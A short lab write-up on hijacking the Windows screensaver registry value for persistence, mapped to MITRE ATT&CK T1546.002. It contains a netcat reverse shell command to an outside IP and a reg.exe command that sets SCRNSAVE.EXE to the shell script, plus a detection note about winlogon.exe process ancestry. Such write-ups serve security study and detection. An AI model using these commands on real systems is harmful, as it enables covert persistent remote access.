Screensaver Hijack

Hijacking screensaver for persistence.

Execution

To achieve persistence, the attacker can modify SCRNSAVE.EXE value in the registry HKCU\Control Panel\Desktop\ and change its data to point to any malicious file.

In this test, I will use a netcat reverse shell as my malicious payload:

c:\shell.cmd@victim

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Let's update the registry:

The same could be achieved using a native Windows binary reg.exe:

attacker@victim

reg add "hkcu\control panel\desktop" /v SCRNSAVE.EXE /d c:\shell.cmd

Observations

Note the process ancestry on the victim system - the reverse shell process traces back to winlogon.exe as the parent process, which is responsible for managing user logons/logoffs. This is highly suspect and should warrant a further investigation:

References

Event Triggered Execution: Screensaver, Sub-technique T1546.002 - Enterprise | MITRE ATT&CK®